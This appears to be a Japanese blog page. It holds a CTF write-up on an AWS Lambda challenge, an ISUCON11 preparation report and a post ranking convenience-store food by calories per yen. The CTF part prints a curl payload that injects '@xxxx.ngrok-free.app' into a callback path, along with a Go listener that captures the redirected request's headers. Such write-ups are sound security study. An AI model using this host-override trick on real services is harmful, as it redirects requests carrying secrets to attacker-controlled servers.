200, body: JSON.stringify({ message: "received error" }), }; } return { headers: { "Content-Type": "application/json" }, statusCode: 200, body: JSON.stringify({ message: "OK" }), }; };
{ "LamAttackApplicationStack": { "SendAlertFunctionName": "LamAttackApplicationStack-LamAttackSendAlertFuncti-kycxPROq6nty", "SendAlertFunctionARN": "arn:aws:lambda:ap-northeast-1:******:function:LamAttackApplicationStack-LamAttackSendAlertFuncti-kycxPROq6nty", "InnerLogicFunctionName": "LamAttackApplicationStack-LamAttackInnerLogicFunct-0bi7xD4DiPXY", "InnerLogicFunctionARN": "arn:aws:lambda:ap-northeast-1:******:function:LamAttackApplicationStack-LamAttackInnerLogicFunct-0bi7xD4DiPXY", "AlertSNS": "arn:aws:sns:ap-northeast-1:******:LamAttackAlertTopic" } }
コードを見ると、中で SendAlertFunctionName のFunctionを叩いているラッパーっぽい挙動をしていることがわかります。 SendAlertFunctionName にあたるARNは環境情報からわかっているので、同様にしてこちらのコードを取得してみます。
export const handler = async (event: { errorCode: Number; errorMessage: String; callbackPath: String; }) => { console.log("event", event); if (event.errorCode === 0) return; const { errorCode, errorMessage, callbackPath } = event; const messageTemplate = `Alertが発生しました。エラーコードは${errorCode}、エラーメッセージは"${errorMessage}"です。担当者のみなさんはご対応お願いします。`; const input: PublishInput = { TopicArn: LamAttackApplicationStack.AlertSNS, Message: JSON.stringify({ message: messageTemplate, callback: `https://******.lambda-url.ap-northeast-1.on.aws${callbackPath}`, }), }; await client.send(new PublishCommand(input)); console.log("send alert"); return; };
パッと見通知を行っているだけの単純な処理ですが、 https://******.lambda-url.ap-northeast-1.on.aws${callbackPath} がかなり気になります。SNSの仕様は詳しくありませんでしたが名前から処理完了後にcallbackのURLが呼ばれそうなので、ここをいい感じにいじれば攻撃者サーバーに通信を持ってくることができそうだと考えました。
はじめは https://******.lambda-url.ap-northeast-1.on.awshogehoge.mydomain.dev みたいな感じでトップドメインを書き換えて自分のドメインに引っ張ってくるという方法しか思いつかず、残り1時間くらいしかない中で適当な無料ドメインを取得してサーバー立ててドメイン設定して...みたいなことをしようとしていました。
残り30分くらいでこの方法は時間内には不可能だと思い直し、他の方法がないかを探し始めました。SSRFの文脈でドメインを上書きできる手法があった気がしたので調べていると、 @ を入れることで前半部分がユーザー名扱いになって任意のホスト名に差し替えられることがわかりました。
そこで手元に適当なローカルサーバーを立ててngrokで公開し、callbackPathに @xxxx.ngrok-free.app を設定することで手元のサーバーに通信を持ってくることを考えました。実際に競技中に立てたGoのサーバーのコードがこちらです。
package main import ( "encoding/json" "fmt" "log" "net/http" ) func helloHandler(w http.ResponseWriter, r *http.Request) { b, _ := json.Marshal(r.Header) println(string(b)) } func main() { http.HandleFunc("/", helloHandler) fmt.Println("Server Start Up........") log.Fatal(http.ListenAndServe("localhost:8080", nil)) }
あとは問題文に与えられたLambda関数の実行方法に従い、callbackPathに先ほどの文字列を設定することでリクエストをローカルサーバーに転送することができ、そのヘッダー内にフラグが隠されていました。
$ curl https://***.lambda-url.ap-northeast-1.on.aws/ \
-XPOST \
-d '{"errorCode":10,"errorMessage": "NG", "callbackPath": "@xxxx.ngrok-free.app" }' \
-H "Content-Type: application/json"
実際に自分でサーバーを立てて攻撃対象の通信を持ってくるというところが本当に攻撃者になったような気持ちになれたのがハラハラでめちゃくちゃ楽しかったです!残り時間も切羽詰まった中で最後の最後にコンソールにフラグの文字列が現れた時の快感は今でも忘れられません。。。
感想
めちゃくちゃ楽しかった!!!の一言に尽きます!CTFは興味はありつつも要求される知識の幅が広くてハードルを感じていましたが、今回は普段業務で触っているAWSにまつわる問題だったので気軽にチャレンジすることができ、CTFの楽しさに触れることができました。
改めて楽しいイベントをありがとうございました!次のチャンスがあれば必ずリベンジしたいと思います。
Writeup
今回は自分が解けた問題しか紹介できませんでしたが、他の問題の解説をwriterや参加者の方が書いているのでぜひご覧ください! またflawsというAWSのCTFが体験できるサイトもあるそうなので、興味のある方はぜひチャレンジしてみてください!
www.slideshare.net
Writer
morioka12さん
Security-JAWS DAYS で作問して出題した CTF の解説と参加記になります! #はてなブログ#secjaws #secjaws30 #secjawsdays #jawsug
— morioka12 (@scgajge12) 2023年8月31日
Security-JAWS DAYS 参加記&CTF作問者解説 - blog of morioka12https://t.co/18ytKrZbXp
とある診断員さん
先日開催したSecurity-JAWS DAYS CTFにて私が作問した問題の解説を公開いたします。
— とある診断員 (@tigerszk) 2023年8月30日
イベント中に配布したものに加筆しています。https://t.co/Sx18RkfG9u#secjaws #secjaws30 #secjawsdays #jawsug
参加者
べこみんさん
#DevelopersIO [レポート]Security-JAWS DAYS ~Day2~ に参加しました。一部writeupあり。 #secjaws #secjaws30 #jawsug #secjawsdays https://t.co/S3vnx2ECjE
— べこみん (@beco_minn) 2023年8月29日
めちゃくちゃ楽しいイベントでした!運営の方々、作問者の方々、本当にありがとうございました!
rikotekiさん
Security-JAWS CTFのWriteupです。楽しかった!!
— rikoteki (@r1k0t3k1) 2023年8月29日
https://t.co/i2lo9VcCJo #secjaws #secjawsdays #secjaws30
hamayanhamayanさん
Security-JAWS DAYS CTF Writeupshttps://t.co/e6gwXCFvlb
— hamayanhamayan (@hamayanhamayan) 2023年8月29日
無茶苦茶面白かったです!#secjaws #secjaws30 #secjawsdays #jawsug
ハマショー2さん
Security-JAWS DAYS CTF - Writeup|ハマショー https://t.co/Sk5mF2ibrZ 難しい問題は解けてないですが、せっかくなので書きました #secjaws #secjaws30 #secjawsdays #jawsug
— ハマショー2 (@hamasho_2) 2023年9月1日
ISUCON初参加に向けてやったこと(ISUCON11予選)
8/21に開催されたISUCON11の予選に参加してきました。チームは大学のサークルの同期2人 (rkoike・cojiro) と3人で出場しました。
結果は77704点で41位でした。残念ながら本選出場は叶いませんでしたが、それなりに練習の成果は出せたのかなと思い満足しています。何より開会のムービーや中継などもありお祭り気分で楽しんで参加させてもらうことができました。
さて、僕自身ISUCON初参加にあたって最初は何から始めていいかわからない状態で、そのことが参加へのハードルの一つになっていました。この記事では初参加に向けてどういう対策や準備をしたか、どういうツールを用意して臨んだかを共有し、より多くの人にISUCONに参加してもらう敷居を下げる手助けになればいいなと思います。
リンク
予選当日のレポジトリ
GitHub - isucon-kuolc38th/isucon11-qualify
デプロイ・ログ収集ツール
GitHub - isucon-kuolc38th/isucon11-qualify-util
TODOマニュアル
事前練習
事前練習としてはひたすら予選の過去問を解いていました。過去問だけでも相当なボリュームがあるので、まずはこれらを解いて予選通過レベルのスコアを出せるようになること・関連エントリなどを読んで+αまでやり込むことを目標にしました。また、過去問を解きながら徐々に必要なツールやマニュアルを整えていきました。
6月頃から本格的に練習を始め、予選当日までには個人でISUCON3と4、チーム練で7〜10を解きました。
過去問は@matsuuさんが用意してくださっているAMIイメージを使いました。AWSのAMIでisucon*で検索すると出てきて、それを立ち上げるだけで動くので、始める前思っていたほど過去問の環境構築には苦労しませんでした。今回ISUCON初参加でしっかり練習を積むことができたのもひとえにこのおかげです。
6月
本格的に練習を始めたのは6月頭くらいからでした。ありがたいことに運営の方が座学とハンズオンを開催してくださり、最初の一歩の雰囲気を掴む上で非常にためになりました。
その後はいきなりチーム練をしてもグダグダになる可能性が高かったので、当面は個人練習をメインに情報収集・共有をしていこうということになりました。僕自身はハンズオンとISUCON3を解いて、初期セットアップのノウハウやチューニングの雰囲気を掴むことを目指しました。
この頃はとりあえず座学でお勧めされたALPやnetdataを使って手探りで自分たちのスタイルを模索しているような感じでした。
7月〜8月
7月頃から2週に1回くらいのペースでチーム練を始め、当日までに7〜10を解きました。基本的に本番と同様8時間みっちり使って臨みました。
次の練習までの2週の間に各自もう一度環境を再現して復習し、ツールとマニュアルを整備してまた次の練習に臨むというサイクルを繰り返していきました。
最初は用意していたツールの使い方もおぼつかず、メイン構成のNginx+Go+MySQLに載せ替えるだけで4時間使うといった有様でしたが、回を重ねスタイルが確立してくるにつれて徐々にスコアも出るようになってきました。結局どの回も時間内に予選ボーダースコアを出すことはできませんでしたが、あと一歩うまくハマればワンチャンというところまでは見えてきた感じです。
過去問に取り組むにあたって一番苦労したのはベンチの再現でした。CPUやメモリの設定はマニュアル等に記載されているのを見てできるだけ揃えるようにしましたが、AMIがあってもやはり本番と全く同じ環境を再現するのは難しく苦労しました。具体的には、
- AMIを起動したそのままの状態でベンチを回してもFAILする(タイムアウトが原因で互換性チェックに落ちるなど)
- Goに切り替えるとFAILする
- スコアが上がった時にベンチ側と思われる原因のエラーが大量に出る
- インスタンス間・グローバルの帯域接続がちゃんと設定されているかわからない
などがありました。対策としては、
- 特に指定のない限りベンチは別インスタンスで立てる
- ベンチのインスタンスはある程度強いものにしておいて良い
- 多少点数が上振れするかもしれないが、基本的にはアプリ側がボトルネックになるので問題ないはず
- 弱すぎるとFAILしたりメモリが足りなくてフリーズしたりする
- 接続数が多くなってくる場合、ベンチのファイルディスクリプタ上限も上げる (
ulimit -nなど) - 最悪の場合ベンチ側のコードを書き換えてタイムアウトを伸ばす
- セキュリティグループ、ファイアウォールの設定を確認する
- GOは最新版を入れてgo.modを使うようにする
などの処置を取ってなんとかしました。(帯域については最後までちゃんと制限されているのかわからなかった...)
また昔のコンテストだとsystemdがなくinit.dというのを使わないといけない、Goのバージョンが1.1とかでそもそもgo.modが使えないなどの落とし穴もあり、過去問をやる中でその辺の腕力も身についたと思います。
当日に向けての準備
ツール
ツールとして当日使用したものを書きます。
マニュアル
各種ミドルウェアの初期設定の手順、競技開始後・終了前の流れ、大まかなスケジュール間、よくあるエラーへの対処法など、練習時に躓いたことや学んだことを全てこのマニュアルに書き、練習を通じてブラッシュアップしていきました。練習の成果が全てここに詰まっているといっても過言ではありません。
ALP
nginxのアクセスログを解析し、それぞれのエンドポイントへのリクエスト数やレスポンスタイムを集計してくれる定番ツールです。アプリの解析含め静的ファイルへのアクセスや、400/500のレスポンス、304が正しく返っているかなどリクエスト周りの傾向を把握するのに利用しました。
najeira/measure
こちらはGo向けのツールになりますが、導入してからは欠かせないツールになりました。
1行書くだけで関数ごと、セグメントごとの呼び出し回数・所要時間を計測することができます。ALPではエンドポイントごとのレスポンスタイムしか取得できないのに対し、こちらは関数ごとに集計してくれるので、ベンチマークの特定はもちろんアプリの全体の構造を把握するのにも非常に役立ちます。例えば同じ回数呼ばれている関数とエンドポイントがあれば、その関数はそのエンドポイントでしか使われていないことがわかるし、逆に多くのエンドポイントから利用されている重要な関数の特定にも便利です。
僕らの戦略の主軸はこのツールで、この出力を見てSUMの多い関数のタイムを見て削っていくのが基本的な流れでした。CSVで出力されるのでスプレッドシートにそのまま貼り付けて利用していました。
pprof
こちらもGo向けのツールで、CPUやメモリなどの占有状況を可視化することができます。こちらはメインではなくCPUやメモリの状況を確認したい際に補助的に使うという立ち位置でした。最初に一度は確認しておく予定でしたがすっかり忘れておりISUCON11で利用することはありませんでしたが...
こっそりCPUを占有しているケースの発見に便利なので、最初にパッと目を通すか目に見えるボトルネックは改良したけどなんか遅いって時に使うと良いと思います。
netdata
各種リソースのモニタリングをし、CPU or メモリ or ネットワークといったレベルでの大まかなボトルネックの把握に利用しました。多機能な割にコマンド一発でインストールできるのもいいところです。¥
なお、本番はセキュリティグループとNginxのルーティングの設定がうまくいかずこちらも日の目を見ることはありませんでした。
pt-query-digest
MySQLのスロークエリを解析するツールです。ALPなどと同様に占有率の高いクエリのレスポンスタイムや、読み込み行数に対して実際に送信した行数なども集計してくれるので、こちらを参考にヒット率の低いもの、レスポンスタイムの長いものを中心にEXPLAINを使いながらインデックスを貼る・クエリを改善していくということをしていました。
util
ログの管理についても考えるところは多いと思います。僕たちの場合は、ベンチを実行した後スクリプトでインスタンスにssh接続し、各種ログをローカルに取って来れるようにしていました。また、
- 案1:メインレポジトリと同じレポジトリで管理→ベンチを回すたびに大量のプルやマージが必要になる
- 案2:別レポジトリで管理→ベンチを回した後にプッシュするのが面倒
という経緯を経て、最終的にutil専用のインスタンスを立ててRemote VSCodeで接続してログを共有するようにしました。(もはやレポジトリは不要ですが、一応gitで管理していました)
また、ブランチを指定してデプロイするスクリプト・ログを消すスクリプトも用意し、コマンド一つで簡単にベンチを回す前のセッティングができるようにしていました。これはrkoikeが一晩で用意してくれたものですがこれのおかげで開発の効率が大きく向上し、またヒューマンエラーを防ぐ上で欠かせないものでした。
GitHub - isucon-kuolc38th/isucon11-qualify-util
以上のツールを使い、utilのコマンドでブランチをデプロイ→ベンチを回し、ALP(アクセス系)・measure(アプリ)・pt-query-digest(SQL)の解析結果を出力して確認という流れがスムーズに行えるようにしました。
戦略
本番に向けて考えていたことはおおよそ以下の通りです。
- 役割分担
- rkoike: インフラ(構成の変更・初期セットアップ)、Nginxのチューニング、モニタリング
- cojiro: SQLのチューニング、アプリ補助
- 僕: アプリ全体の仕様把握、アプリ改善(主にキャッシュ)
- 初期構成はNginx+Appで1台、DBで1台の2台構成
- 過去問でもこの構成である程度対応できることがほとんどだったため
- 3台目をどうするかはボトルネックの解析をある程度進めないとわからないことが多いため
- 競技開始後の動き
- できるだけ早くmeasureを入れて結果を取得し、アプリ仕様の把握に活用
- rkoikeが初期構成をセットアップしている間に他の二人でアプリを手で動かしたりコードを読んだりして仕様把握を進める
- 最初1時間半〜2時間程度は初期構成の載せ替えと仕様把握に使い、改善には着手しない
- DBの載せ替えとログの出力が完了し、最初にある程度ボトルネックの候補を洗い出してから作業開始
- インデックスはコスパが良いので積極的に活用
- キャッシュは強力だがコストが高いので慎重に検討
- 大量のレコードの集計結果など、計算にコストのかかる値
- 直近の1件のみ保持していれば良い場合
- 複数のエンドポイントで繰り返し使われるレコード
- 逆に、検索や複数のレコードを返す処理はSQLの方が得意なことが多いので無理にキャッシュでやらない
- Redisは使わずオンメモリで対応
- 検討はしていたが、過去問でも結局使わずに何とかなってしまったため
- 通信のオーバーヘッドや接続数への負担を考慮
- その代わりAppを2台構成にするのは難しくなるが、DBを分ける、キャッシュを使わない一部のエンドポイントだけ分ける、静的ファイルへの接続が多い場合はNginxだけ分けるなど他の分割方法を検討する
- 基本方針はSQL+オンメモリキャッシュ
- サーバー起動時とinitializeでDBのデータを積み込み、更新や追加の都度DBの書き込みと並行してキャッシュも更新する
- 無駄はあるものの、DBにデータを残すことでリスクを抑えつつキャッシュの良さを生かせる(うまくいかなければ戻せば良い)
- 1時間前には手が空いた人が後片付けの準備をする
- ベンチが空いている時に再起動試験
- ログの無効化、不要なサービスの停止
- 再起動後にデータが保持されているかの確認
当日
当日はレンタルスペースを借り、車でモニター等を積み込んで作業環境を整えました。 車ではるばる運んできたデスクトップPCがまさかのフリーズして予備のノートPCに切り替えるというアクシデントが発生し、冷や冷やしながら競技開始を迎えることになりました。

やったこと
競技開始
- [x] isu_uuid, timestampにインデックスを貼る
- [x] 最後のISUコンディションをキャッシュする
- [x] generateIsuGraphResponseのtimestampをクエリで絞る
- [x] getTrendのISUキャッシュ
3時間経過時点くらい
7時間経過・延長以降
- [x] ISUの存在判定をキャッシュでやる
- [x] getUserIDFromSessionのSQL消す
未完了・着手しなかったこと
- [?] http2対応・keepalive
- [ ] 接続周りのカーネルの設定
- [ ] 静的ファイルのNginxキャッシュ
- [ ] 画像をファイルに移す
- [ ] 完成したグラフをキャッシュする?
- [ ] コンディションデータが文字列で入ってるのをなんとかする
作業開始前の作戦会議で洗い出した改善候補と、その完了状況の一覧です。競技開始後の諸々のセットアップは比較的順調に終わり、仕様把握に余裕を持って時間が取れたので十分に改善点を洗い出すことができました。
作戦会議時点
最初にマニュアルの読み込みをしましたが、まずその情報量の多さに面食らいました。これまでの過去問のマニュアルはほとんどが定型文で重要なのはスコア計算・減点や失格の方法と禁止事項くらいなことが多かったですが、今回は別途でアプリのドキュメントが用意されているなど情報の多さが特徴だったと思います。
その中でも完成したグラフ・当日前日のグラフなどの仕様がかなり複雑だったので、ここをキャッシュするなどして高速化するのがキーポイントになるのかなと思いました。 またマシンのスペックが比較的高いこと、現実の1秒=アプリ世界の30000秒という仕様、postISUConditionで9割のリクエストを弾くようになっているなど、大量のリクエスト数を捌ききることが求められそうな雰囲気があったので、接続周りの設定や静的ファイル(特に画像)のキャッシュにはあたりをつけていました。
他には典型的にキャッシュできそうな部分が多く、DBにボトルネックが来ることは少なそうだなー、画像系とAppで分けるかーなど構成についてもある程度考えていたと思います。
この時点では対処方法の検討もつかないようなボトルネックもなく、過去問で見たようなケースが多かったので完全に「進研ゼミでやったやつだ!」状態になっていました。 上げたボトルネックを順調に潰していけば予選通過も狙えるのではないかと思っていました。そう、この時までは。。。
3時間経過ぐらい
競技開始後の流れはスムーズで、作業開始してからもSQLの改善・キャッシュなど順調に進みスコアを着実に伸びていきました。この時点で40000点程度で、一時は6位を記録するなど思った以上の手応えでテンションもブチ上がっていました。

事件は突然起きました。getTrendでキャラクターごとにISUをグルーピングして状態を取得しているところが明らかに遅かったので、ISUごとキャッシュしてDBを使わないようにしました。実装を終えベンチを回したところ、検証フェーズもパスしてホッとしたのも束の間、以下のようなエラーが大量に出てベンチがFAILするようになりました。
ERR: load: http: Get "https://54.199.41.247/api/isu/43a2ea8f-3f1f-4fc4-90bc-942870e355c9/icon": http2: client connection force closed via ClientConn.Close ERR: load: http: Get "https://54.199.41.247/api/isu": http2: server sent GOAWAY and closed the connection; LastStreamID=1999, ErrCode=NO_ERROR, debug=""
初めて見るエラーで戸惑いましたが、getTrendは明らかに早くなっており、またアプリも正常に動いていたので、最初に想定していた通りアプリが早くなって大量にリクエストが来たのが原因で接続を張れなくなっているのだろうと思い、そこまで焦ってはいませんでした。進研ゼミでやった通りに以下の対応を取りました。
しかしこれらを試しても状況は一向に改善されず、時間だけが過ぎていきました。 アイコンが帯域を食っているのかと考え、アイコンの304なども試しましたがベンチ側のヘッダーが設定されていないのかうまく304が返りませんでした。
getTrendを速くしたことで大量のユーザーが流れ込みサーバーの処理し切れない数のリクエストが飛んでくることが原因である可能性が高かったので、仕方なくgetTrendにsleepを入れるとFAILせずにスコアが出るようになりました。(60000点程度)
ここからpostISUConditionのdropProbability (リクエストの一部を無視する) の割合とgetTrendのsleep時間を調整し、FAILせずにリクエストを捌き切れるギリギリを目指すという闇のパラメータチューニングが始まります。
7時間経過・延長以降
ここでポータルサイトがダウンしベンチが回せなくなるという事件が発生します。闇のパラメータチューニングもできなくなってしまったので、仕方なく他のキャッシュできるところをキャッシュし尽くしたりしてベンチの復活を待っていました。
質問の欄を見て例のエラーがベンチ側のバグであることに気づいたのは確かこの頃で、ベンチを回す時間もほぼ残っていませんでした。
ベンチが再開され、全力キャッシュの変更を入れてみると意外にもスコアが80000点程度まで伸びたので、最後の足掻きでダメ押しのパラメータ調整をした後ログなども削除し、15分前には最後の再起動試験とアプリの動作確認を終え、競技終了となりました。
振り返って
「本番は練習でやったことしかできない」というのはまさにその通りで、序盤の流れやSQL・キャッシュについては練習で何回も手を動かした甲斐もあって順調に進めることができた一方で、初めての本番、TLS/http2環境での見たことないエラーに対応できなかったのが敗因となりました。あと一歩と言えばそうですが、これまでの過去問の結果も全てあと一歩という感じだったので、まあ実力通りの順当な結果ではあると思います。
今思えばエラーを見ればhttp2が原因のエラーであることは明らかなので、http2を切って試してみればよかったなあと思いますが、その時は「接続数が多い時にはhttp2を使う!」という思い込みに邪魔されてhttp2を切るというアイデアは浮かんできませんでした。こういうアドホックな対応の部分でやはり地力の差、経験の差が出たなと思います。
ただ、ISUCONは過去にもベンチのバグなどもちょいちょいあるにせよ「当日のベンチが最終的な採点基準」という前提があってこそのものだと思っていたので、事前予告なしにバグ修正版のベンチがスコア計算に使われることになったというのは、最終的な結果は変わらなかったにせよ、若干もやっとする結末になってしまったなあと思い残念です。
事前準備でできたらよかったこと
- Redisをちゃんと使う練習をしておく
- 使う必要に迫られたことがなかったにせよできることは多い方が良い
- Nginxのチューニングにもう少し慣れておく・各設定項目の使い所を理解しておく
- 過去問は常にポート全開のセキュリティガバガバ状態でやっていたので、もう少しちゃんとしている状態で練習しておくべきだった
- セッション情報をトレースしてベンチのアクセス傾向を把握する仕組み
最後に
残念ながら本選に進むことはできませんでしたが、ボトルネックを見つけてスコアが上がっていくという競技性そのものにどハマりし、良質な過去問を含め問題を解くこと自体がとても楽しかったです。加えてWebサーバー・アプリの並列処理・SQLの知識・インフラなど幅広い知識が要求されるこの競技に取り組むことで、自然と知識が広がっていったのも自分にとって貴重な収穫でした。
後半は自分語りがメインになってしまいましたが、この記事がこれからISUCONを始めたいという人の役に少しでも立てば幸いです。
運営・作問者の皆さんをはじめ、改めてこの機会を提供してくださった方々にお礼を申し上げるとともに、この大会がこれからも存続してくれることを願っています。
また同じチームとして参加し、共に練習に多くの時間を割いてくれたチームメイトの二人にもお礼を言いたいです。
来年もぜひ出場したいと思います。対戦よろしくお願いします。
もっともコスパの高い食事戦略とは?
このブログは京大アドベントカレンダーの10日目の記事として書かれたものです。
はじめに
はじめまして、京大情報学科4回生のnosukeruと申します。普段はエンジニアでiOSアプリの開発業務をしたり機械学習のお勉強などしています。研究が辛いです。
突然ですが、僕はコスパの高いものが大好きです。例えば食事を例に出して言うならば、いい値段のする有名な店で食事をすることよりも、激安価格でそこそこの味・あり得ないボリュームの料理が出てくるようなお店を見つけた時の方がテンションが上がってしまいます。宿泊先を探すときにも積極的にドミトリーやカプセルホテルを検討し、安価で快適な宿泊を提供してくれるホテルに出会えた時にこそ生の喜びを実感するような人間です。コスパに対する嗅覚は人一倍な自信があるので、今回は食事をテーマに身の回りのコスパについて調べてみました。
イントロダクション
学業やサークルにアルバイトなど、やることの尽きない大学生の頭を悩ませる問題、その一つに日々の食事があります。ご飯を食べなければ人は生きていけませんが、何もしなくてもご飯が出てきた実家暮らしの頃とは違って一人暮らしの大学生はそれを自分で用意しなければいけません。自炊をすればお金をかけずに満足のいく量の食事ができますが、材料の買い出し、調理と片付け、冷蔵庫の管理など手間面のコストが多くかかります。一方でコンビニ・スーパーで惣菜を買う・外食をすることで手間のコストをほぼ0にすることができますが、その分金銭的な負担は大きくなります。いかに食費を抑えつつ満足の行く食事を用意するか、お金のない大学生にとってこれは文字通り死活問題です。
一般的な成人男性が一日に必要とする摂取カロリーは2000〜2400kcal、女性は1400〜2000kcalと言われています*1。そこで今回は、特に自炊をする暇のない忙しい京大生を対象に、
「金銭・手間のコストをできるだけ抑えて、(栄養面・健康面にも申し訳程度に配慮しつつ)外食で一日に2000kcalを摂取するにはどのような戦略が最適か?」
について真面目に検討します。
調査 ー 惣菜編
コンビニのお惣菜
まずはコンビニに売っているお惣菜をベースラインとして調べてみます。これについてはローソンの商品・お得情報に値段とカロリーが載っているので参考になります。
おにぎり
おにぎり|ローソン公式サイトを参考に、代表的なものを以下の表にまとめました。
| 名称 | カロリー(kcal) | 値段(円) | コスパ(kcal/円) |
|---|---|---|---|
| 手巻おにぎり 日高昆布 | 176 | 120 | 1.47 |
| 手巻おにぎり 焼鮭ほぐし | 185 | 150 | 1.23 |
| 手巻おにぎり 紀州南高梅 | 176 | 125 | 1.41 |
| 手巻おにぎり おかか | 177 | 116 | 1.53 |
| 手巻おにぎり シーチキンマヨネーズ | 235 | 120 | 1.96 |
| 手巻おにぎり 熟成辛子明太子 | 186 | 150 | 1.24 |
| 鶏五目おにぎり | 187 | 130 | 1.44 |
| 和風シーチキンマヨネーズおにぎり | 249 | 116 | 2.15 |
| 金しゃりおにぎり 焼さけハラミ | 224 | 198 | 1.13 |
| 悪魔のおにぎり | 222 | 110 | 2.02 |
| 金しゃりおにぎり 塩にぎり | 198 | 100 | 1.98 |
ご覧の通り「和風シーチキンマヨネーズおにぎり」がカロリー/値段比(以下カロリー比)2.15をマークし最高値となっていますが、ツナマヨの油の量を考えるとカロリーが高くなるのは当たり前であると言えます。ただ普通のツナマヨの方が量が多く見えるのに和風ツナマヨの方がカロリーが高いというのは意外な結果です。
金しゃり(高級感のあるおにぎりシリーズ)はカロリー自体は高いもののやはりその高級感のある値段設定からコスパ面ではやや劣ります。ただしお米onlyの塩にぎりはツナマヨに匹敵するカロリー比を誇っています。悪魔のおにぎりは天かす補正でしょうか。
またこの結果から、おにぎりをコンビニで買って食べた場合のカロリー比の上界は2程度であることがわかります。この記事ではこの値を目安とし、1日2000kcalを摂取するための予算として2000/2=1000円を目標にしたいと思います。
サンドイッチ
こちらも朝食や軽い軽食として利用する人が多いのではないでしょうか。サンドイッチ・ロールパン|ローソン公式サイトを参考に以下の表にまとめました。
| 名称 | カロリー(kcal) | 値段(円) | コスパ(kcal/円) |
|---|---|---|---|
| 全粒粉入 バジルチキンサンド | 273 | 368 | 0.74 |
| 全粒粉入 野菜ミックスサンド | 213 | 248 | 0.86 |
| シャキシャキレタスサンド | 204 | 248 | 0.82 |
| ミックスサンド | 332 | 248 | 1.34 |
| ジューシーハムサンド | 211 | 248 | 0.85 |
| たまごサンド | 327 | 228 | 1.32 |
| ツナ&たまごサンド | 331 | 228 | 1.45 |
| 照焼チキンたまごサンド | 307 | 298 | 1.03 |
よく言えばヘルシー、悪く言えば低コスパで、おにぎり軍に比べ厳しい結果となりました。ここでもツナマヨパワーが遺憾無く発揮されています。
しかし明らかにヘビーそうな「照り焼きチキンたまごサンド」ですらカロリー比1程度という意外な結果です。やはりターゲットを若い女性に絞って、あえてカロリーを低く抑えているとも考えられます。
とはいえ、野菜が不足しがちな大学生にとってサンドイッチはお腹をある程度満たしつつ野菜を摂取できる魅力的な選択肢です。野菜をある程度摂取しつつカロリー比を最大化したい我々としては、トマトも含む野菜ミックス等で野菜を補いつつ、サンドイッチ以外の選択肢でカロリーを稼いで行きたいところです。
お弁当・パスタ
上と同様お弁当|ローソン公式サイトを参考にしています。
| 名称 | カロリー(kcal) | 値段(円) | コスパ(kcal/円) |
|---|---|---|---|
| 和風幕の内弁当 | 460 | 498 | 0.92 |
| 彩りおかず弁当 | 503 | 550 | 0.91 |
| 白身フライのり弁当 | 729 | 420 | 1.74 |
| おろし竜田弁当 | 736 | 498 | 1.48 |
| チキン南蛮&鶏そぼろ弁当 | 765 | 530 | 1.44 |
| 三色鶏そぼろ弁当 | 402 | 298 | 1.35 |
| 豚生姜焼弁当 | 757 | 498 | 1.52 |
| ロースとんかつ弁当 | 810 | 598 | 1.35 |
| 香ばし炒めの焼豚炒飯 | 659 | 399 | 1.65 |
| 名称 | カロリー(kcal) | 値段(円) | コスパ(kcal/円) |
|---|---|---|---|
| たらこのパスタ | 505 | 430 | 1.17 |
| 完熟トマトのミートソース | 529 | 399 | 1.33 |
| 大盛!やみつきペペロンチーノ | 817 | 498 | 1.64 |
| 大盛!トマトの旨味ギュッ ナポリタン | 752 | 498 | 1.51 |
| もちプリッ!フェットチーネ 濃厚カルボナーラ | 608 | 480 | 1.27 |
やはり油を多く含む揚げ物族、米のみで構成されるチャーハンの戦闘力は比較的高いことがわかります。しかしおにぎり族の上界である2という数値には届かないことが見て取れます(お米の割合が低いので当たり前)。
パスタについては大盛り系は健闘しているものの、その大部分が炭水化物である割にエネルギー効率は高くありません。カロリー最適化の上では避けた方が無難でしょう。
サラダ・パン(ファミマ)
こちらについてはなぜかローソンのHPに記載がなかったので、実際にコンビニに(都合によりファミマに)行き調査を行いました。商品一覧はサラダ一覧、パン一覧のページから見れます。
| 名称 | カロリー(kcal) | 値段(円) | コスパ(kcal/円) |
|---|---|---|---|
| フレッシュ野菜サラダ | 34 | 163 | 0.21 |
| まぜて食べる!パリパリ麺サラダ | 319 | 368 | 0.87 |
| シーチキン&コーンサラダ | 79 | 210 | 0.37 |
| 蒸し鶏のサラダ | 68 | 198 | 0.34 |
| カルボナーラ風パスタサラダ | 328 | 354 | 0.93 |
| ローストチキンのパスタサラダ | 276 | 298 | 0.93 |
もちろんサラダはカロリーでその良し悪し比較できるものではないのですが、カロリー比という観点では低い値であり、お金のない大学生が野菜不足に陥りがちなのも頷けます。個人的には野菜を摂取しつつそこそこのカロリーが取れるパスタ系のサラダが気持ち的にお得なように見えます。
パンについては、参考にコスパに加え脂質も記載しています。
| 名称 | カロリー(kcal) | 脂質(g) | 値段(円) | コスパ(kcal/円) |
|---|---|---|---|---|
| カレーパン | 322 | 7.9 | 128 | 2.52 |
| コッペパン焼きそば | 266 | 7.2 | 138 | 1.93 |
| もちっと博多明太マヨネーズ | 279 | 13.2 | 128 | 2.18 |
| 毎日食べて満足!大きいウインナー | 380 | 22.0 | 128 | 2.97 |
| スイートデニッシュ | 460 | 25.0 | 108 | 4.26 |
| イチゴサンドケーキ | 479 | 120.2 | 138 | 3.47 |
| たっぷり!ホイップメロンパン | 459 | 19.4 | 138 | 3.33 |
| なめらかチョコクリームパン(5個入り) | 395 | 13 | 100 | 3.95 |
| ほんのり甘いミルキーミニクロワッサン(5個入り) | 510 | 25.5 | 108 | 4.72 |
| 焦がしバターのクロワッサン(2個入り) | 380 | 16.9 | 108 | 3.52 |
| チョコチップスナック(6本入り) | 534 | 18.6 | 108 | 4.94 |
| チョコチップメロンスティック(5本入り) | 465 | 19.0 | 110 | 4.23 |
| ツイストドーナツ(3本入り) | 567 | 33.0 | 108 | 5.25 |
| バター香るもっちりとした食パン(6枚入り) | 960 | 15.6 | 149 | 6.44 |
| ランチパック ピーナッツ(2個入り) | 360 | 15.6 | 140 | 2.57 |
菓子パンはお米・パスタに比べて圧倒的にカロリーが高いのが特徴です。これはパンの生地に練りこまれているバターや、トッピングの生クリーム・チョコ・ジャムなどが原因になっていると考えられます*2。カロリーを最大化する上では頼もしい味方ですが、それに起因して糖質や脂質も高めになっているので、乱用は禁物です。1日1食程度が目安だと考えられます。またご飯に比べ腹持ちが悪いのがネックになります。
全体的な傾向としては単品よりも1つの商品で複数個入っているものの方がカロリー比が高いことが読み取れます(数の暴力)。クリームパン・チョコチップスティックなどはそのお得感から頻繁に利用する人も多いのではないでしょうか。そして食パンの戦闘力はさすが。。。
京大生協
